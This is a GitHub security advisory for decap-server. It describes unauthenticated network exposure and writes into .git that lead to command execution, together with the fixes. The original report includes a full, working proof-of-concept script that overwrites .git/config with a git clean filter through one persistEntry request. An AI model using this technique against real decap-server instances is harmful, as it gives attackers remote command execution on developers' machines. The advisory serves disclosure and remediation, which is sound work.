Skip to main content
Menu
Advisories

decap-server: unauthenticated network exposure and .git writes allow command execution

GHSA-G884-37W2-8475Published Updated GitHub

Description

The local proxy server behind Decap's proxy backend (decap dev, formerly npx decap-server) has no authentication. Until 3.11.6 it also:

  • listened on every network interface by default
  • wrote any path inside the repository, including .git, and accepted browser requests addressed to any host name (DNS rebinding)

Anyone who could reach the port could therefore read and write the repository. Writing a clean filter into .git/config ran a command on the server's own next git add (MODE=git), and a hook in .git/hooks ran on the developer's next commit (both modes).

Patches

Fixed in decap-server 3.11.6 and @decap/cli 0.1.3:

  • paths that resolve into .git are refused wherever a path reaches the filesystem, including case variants, trailing dots/spaces, NTFS short names and symlinks
  • the server listens on 127.0.0.1 and ::1 only, unless --host / BIND_HOST says otherwise
  • /api/v1 refuses browser requests from origins other than the allowed one and, while bound to loopback, requests addressed to non-loopback host names

Upgrade note: if you run decap-server inside a container and reach it through a port mapping, set BIND_HOST=0.0.0.0 (or --host 0.0.0.0). Only do that on a network you trust: the server still has no authentication.

Workarounds

Bind the server to loopback (BIND_HOST=127.0.0.1), and stop it when you are not editing.

Credits

Reported independently by several researchers; the original report follows.

---

Summary

Stable decap-server releases from 3.0.0 through the current 3.11.3 in Git mode accept unauthenticated persistEntry requests whose paths target Git administrative files inside the configured repository. A single request can overwrite .git/config, add .gitattributes, and add a trigger file. The server then automatically runs git add .; Git loads the attacker-controlled clean-filter configuration and executes its command with the decap-server process's operating-system privileges.

The issue was reproduced through the published decap-server@3.11.3 HTTP service. The bounded PoC writes only a fixed marker in a disposable repository and blocks the subsequent git commit. Its successful result is markerPresent: true, commitCommandBlocked: true, and headUnchanged: true.

Details

Affected versions

The affected package range is decap-server >= 3.0.0, <= 3.11.3, covering every stable 3.x version published to npm as of 2026-09-24. The bounded HTTP PoC reproduced command execution on 23 independently installed releases: every stable version in that range except 3.11.1.

The published 3.11.1 package cannot be installed with npm or Bun because its manifest contains unresolved catalog: dependency specifiers. Its five security-relevant source files are byte-identical to reproduced 3.11.2, so it is included in the affected range based on source identity rather than a package-level dynamic run. Unsupported 1.x and 2.x releases were not tested.

The latest decap-server@3.11.3 is shipped from Decap CMS release commit 1d5868347d3d8648d7d5f7f59fc1b46595881b29, which also carries decap-cms-app@3.16.3 and decap-cms@3.16.3. On 2026-09-24, the decap-server@3.11.3 tag and upstream main still resolved to that affected commit. No patched stable release is known.

Preconditions

  • decap-server is started with MODE=git.
  • An attacker can reach its /api/v1 HTTP endpoint.
  • The server process can write the configured repository and execute Git.

No Decap credential, repository account, race condition, or victim interaction is required. Git mode is opt-in, and network isolation reduces practical exposure, but an affected reachable instance requires only one request.

Root cause

The persistEntry schema applies the same repository-containment validator to every caller-supplied data-file and asset path:

The containment helper verifies only that the canonical path remains below the repository root. The real .git/config is an existing child of that root, so it passes:

The Git handler writes all supplied files before staging the repository. commitEntry() reaches commit(), whose first operation is git.add('.'):

The route installs schema validation followed directly by the Git handler. The common middleware adds logging, CORS, and JSON parsing, but no authentication:

This is not a lexical traversal. Every path remains inside the configured repository; the missing boundary is between repository content and Git control state.

Relationship to prior advisory

GHSA-5rrq-v82w-qpfr covers an out-of-repository prefix traversal fixed in decap-server@3.11.0. This report does not escape the repository, remains reproducible in 3.11.3, targets Git administrative files, and reaches command execution during git add.

Suggested remediation

  1. Resolve the repository's Git directory and common directory with Git, including linked-worktree and submodule layouts, and reject all reads, writes, moves, and deletes targeting those locations or descendants.
  2. Reject .git path segments using platform-appropriate case and path semantics as defense in depth.
  3. Enforce the reserved-path boundary at the filesystem-operation layer, not only in request validation.
  4. Add regression tests for .git/config, linked worktrees, submodules, case variants, and symlinks; verify rejection occurs before any Git command runs.
  5. Add authentication and a loopback-only default as independent exposure reductions.

Restricting only the git add pathspec is insufficient because Git reads repository configuration before interpreting the pathspec.

PoC

Prerequisites

  • Bun
  • Git

The PoC creates its own temporary repository, binds decap-server only to a random 127.0.0.1 port, writes a fixed marker, blocks every Git invocation containing the commit subcommand, verifies that HEAD is unchanged, and removes its temporary directory. It makes no external network request after package installation.

1. Create the reproduction directory

mkdir decap-git-control-poc
cd decap-git-control-poc
bun init -y
bun add --exact decap-server@3.11.3

Save the following as poc.ts:

import { randomUUID } from 'node:crypto';
import {
  chmod,
  mkdtemp,
  mkdir,
  readFile,
  rm,
  stat,
  symlink,
  writeFile,
} from 'node:fs/promises';
import { tmpdir } from 'node:os';
import path from 'node:path';

const packageRoot = path.resolve(Bun.argv[2] ?? process.cwd());
const serverEntry = path.join(packageRoot, 'node_modules', 'decap-server', 'dist', 'index.js');
const serverManifestPath = path.join(
  packageRoot,
  'node_modules',
  'decap-server',
  'package.json',
);
const realGit = Bun.which('git');

if (!realGit) throw new Error('git was not found in PATH');
if (!(await exists(serverEntry)) || !(await exists(serverManifestPath))) {
  throw new Error('Install decap-server in this directory before running the PoC');
}
const serverManifest = (await Bun.file(serverManifestPath).json()) as { version?: string };
if (!serverManifest.version) throw new Error('Installed decap-server has no package version');

const runRoot = await mkdtemp(path.join(tmpdir(), 'decap-git-control-poc-'));
const repository = path.join(runRoot, 'repository');
const binDirectory = path.join(runRoot, 'bin');
const shimPath = path.join(binDirectory, 'git');
const shimSource = path.join(runRoot, 'git-shim.ts');
const filterProgram = path.join(runRoot, 'filter.ts');
const marker = path.join(repository, 'filter-marker.txt');
const gitLog = path.join(runRoot, 'git-shim.log');

async function exists(filePath: string) {
  try {
    await stat(filePath);
    return true;
  } catch (error) {
    if ((error as NodeJS.ErrnoException).code === 'ENOENT') return false;
    throw error;
  }
}

async function run(command: string[], cwd: string) {
  const child = Bun.spawn(command, {
    cwd,
    env: {
      ...process.env,
      GIT_CONFIG_GLOBAL: '/dev/null',
      GIT_CONFIG_NOSYSTEM: '1',
    },
    stdout: 'pipe',
    stderr: 'pipe',
  });
  const [exitCode, stdout, stderr] = await Promise.all([
    child.exited,
    new Response(child.stdout).text(),
    new Response(child.stderr).text(),
  ]);
  if (exitCode !== 0) {
    throw new Error(
      `${command.join(' ')} failed with exit ${exitCode}: ${stderr.trim() || stdout.trim()}`,
    );
  }
  return stdout.trim();
}

function assertGitConfigAtom(value: string) {
  if (!/^[A-Za-z0-9_./:-]+$/.test(value)) {
    throw new Error(`Unsafe character in generated local path: ${value}`);
  }
}

await mkdir(repository, { recursive: true });
await mkdir(binDirectory, { recursive: true });

await writeFile(
  filterProgram,
  `#!/usr/bin/env bun
import path from 'node:path';

const [rootArgument, markerArgument] = process.argv.slice(2);
if (!rootArgument || !markerArgument) throw new Error('Missing fixed marker arguments');

const root = path.resolve(rootArgument);
const marker = path.resolve(markerArgument);
const relative = path.relative(root, marker);
if (relative === '..' || relative.startsWith('..' + path.sep) || path.isAbsolute(relative)) {
  throw new Error('Marker escaped the disposable repository');
}

await Bun.write(marker, 'DECAP_GIT_FILTER_EXECUTED\\n');
process.stdout.write(Buffer.from(await Bun.stdin.arrayBuffer()));
`,
);

await writeFile(
  shimSource,
  `#!/usr/bin/env bun
import { appendFile } from 'node:fs/promises';

const args = process.argv.slice(2);
const realGit = process.env.DECAP_POC_REAL_GIT;
const logPath = process.env.DECAP_POC_GIT_LOG;
if (!realGit || !logPath) throw new Error('Missing fixed Git-shim configuration');

await appendFile(logPath, JSON.stringify({ invoked: args }) + '\\n');
if (args.includes('commit')) {
  await appendFile(logPath, JSON.stringify({ blocked: args }) + '\\n');
  console.error('PoC safety guard: git commit blocked');
  process.exit(73);
}

const child = Bun.spawn([realGit, ...args], {
  cwd: process.cwd(),
  env: process.env,
  stdin: 'inherit',
  stdout: 'inherit',
  stderr: 'inherit',
});
process.exit(await child.exited);
`,
);

await chmod(filterProgram, 0o755);
await chmod(shimSource, 0o755);
await symlink(shimSource, shimPath);

await run([realGit, 'init', '--initial-branch=main'], repository);
await run([realGit, 'config', 'user.name', 'Local PoC'], repository);
await run([realGit, 'config', 'user.email', 'local-poc@example.invalid'], repository);
await writeFile(path.join(repository, 'README.md'), 'Disposable local repository\n');
await run([realGit, 'add', 'README.md'], repository);
await run([realGit, 'commit', '-m', 'PoC baseline'], repository);
const headBefore = await run([realGit, 'rev-parse', 'HEAD'], repository);

for (const value of [process.execPath, filterProgram, repository, marker]) {
  assertGitConfigAtom(value);
}

const injectedConfig = [
  '[core]',
  '\trepositoryformatversion = 0',
  '\tfilemode = true',
  '\tbare = false',
  '\tlogallrefupdates = true',
  '[filter "decap-poc"]',
  `\tclean = ${process.execPath} ${filterProgram} ${repository} ${marker}`,
  '\trequired = true',
  '',
].join('\n');

const portProbe = Bun.serve({
  hostname: '127.0.0.1',
  port: 0,
  fetch: () => new Response('port probe'),
});
const port = portProbe.port;
portProbe.stop(true);

const endpoint = `http://127.0.0.1:${port}/api/v1`;
const server = Bun.spawn([process.execPath, serverEntry], {
  cwd: repository,
  env: {
    ...process.env,
    MODE: 'git',
    GIT_REPO_DIRECTORY: repository,
    BIND_HOST: '127.0.0.1',
    PORT: String(port),
    PATH: `${binDirectory}:${process.env.PATH ?? ''}`,
    DECAP_POC_REAL_GIT: realGit,
    DECAP_POC_GIT_LOG: gitLog,
    GIT_CONFIG_GLOBAL: '/dev/null',
    GIT_CONFIG_NOSYSTEM: '1',
  },
  stdout: 'pipe',
  stderr: 'pipe',
});

const serverOutput = Promise.all([
  new Response(server.stdout).text(),
  new Response(server.stderr).text(),
]);

try {
  let ready = false;
  for (let attempt = 0; attempt < 100; attempt += 1) {
    try {
      const response = await fetch(endpoint, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ action: 'info' }),
      });
      if (response.ok) {
        ready = true;
        break;
      }
    } catch {
      // The loopback listener is still starting.
    }
    await Bun.sleep(50);
  }
  if (!ready) throw new Error('decap-server did not become ready');

  const response = await fetch(endpoint, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      action: 'persistEntry',
      params: {
        branch: 'main',
        dataFiles: [
          { slug: 'git-config', path: '.git/config', raw: injectedConfig },
          { slug: 'attributes', path: '.gitattributes', raw: 'trigger.txt filter=decap-poc\n' },
          { slug: 'trigger', path: 'trigger.txt', raw: 'benign local content\n' },
        ],
        assets: [],
        options: {
          commitMessage: 'must be blocked by the PoC safety guard',
          useWorkflow: false,
          status: 'draft',
        },
      },
    }),
  });
  await response.text();

  const markerPresent = await exists(marker);
  const shimLog = (await exists(gitLog)) ? await readFile(gitLog, 'utf8') : '';
  const headAfter = await run([realGit, 'rev-parse', 'HEAD'], repository);
  const commitCommandBlocked = shimLog
    .split('\n')
    .some(line => line.includes('"blocked"') && line.includes('"commit"'));
  const headUnchanged = headAfter === headBefore;

  const reproduced = markerPresent && commitCommandBlocked && headUnchanged;
  console.log(
    JSON.stringify(
      {
        package: `decap-server@${serverManifest.version}`,
        listener: endpoint,
        httpStatus: response.status,
        markerPresent,
        commitCommandBlocked,
        headUnchanged,
        externalNetworkUsed: false,
        reproduced,
      },
      null,
      2,
    ),
  );
  if (!reproduced) process.exitCode = 1;
} finally {
  server.kill();
  await serverOutput;
  if (process.env.KEEP_POC_DIRECTORY === '1') {
    console.error(`Preserved disposable directory: ${runRoot}`);
  } else {
    await rm(runRoot, { recursive: true, force: true });
  }
}

2. Run the PoC

bun poc.ts

A successful run exits with status 0 and prints:

{
  "package": "decap-server@3.11.3",
  "listener": "http://127.0.0.1:<random-port>/api/v1",
  "httpStatus": 500,
  "markerPresent": true,
  "commitCommandBlocked": true,
  "headUnchanged": true,
  "externalNetworkUsed": false,
  "reproduced": true
}

HTTP 500 is expected. It occurs after the automatic git add . executes the clean filter, when the PoC's safety shim rejects the subsequent git commit.

Impact

An unauthenticated remote client that can reach a Git-mode decap-server instance can execute an attacker-selected command with the server process's operating-system privileges. This can compromise the confidentiality, integrity, and availability of the repository, credentials, and other resources accessible to that process. The PoC demonstrates the command-execution boundary with a local marker only.

Reported by Omoikane Labs. Requested credit: ffasterss & shirabe0x05.

Affected versions

References

GitHub · decaporg/decap-cms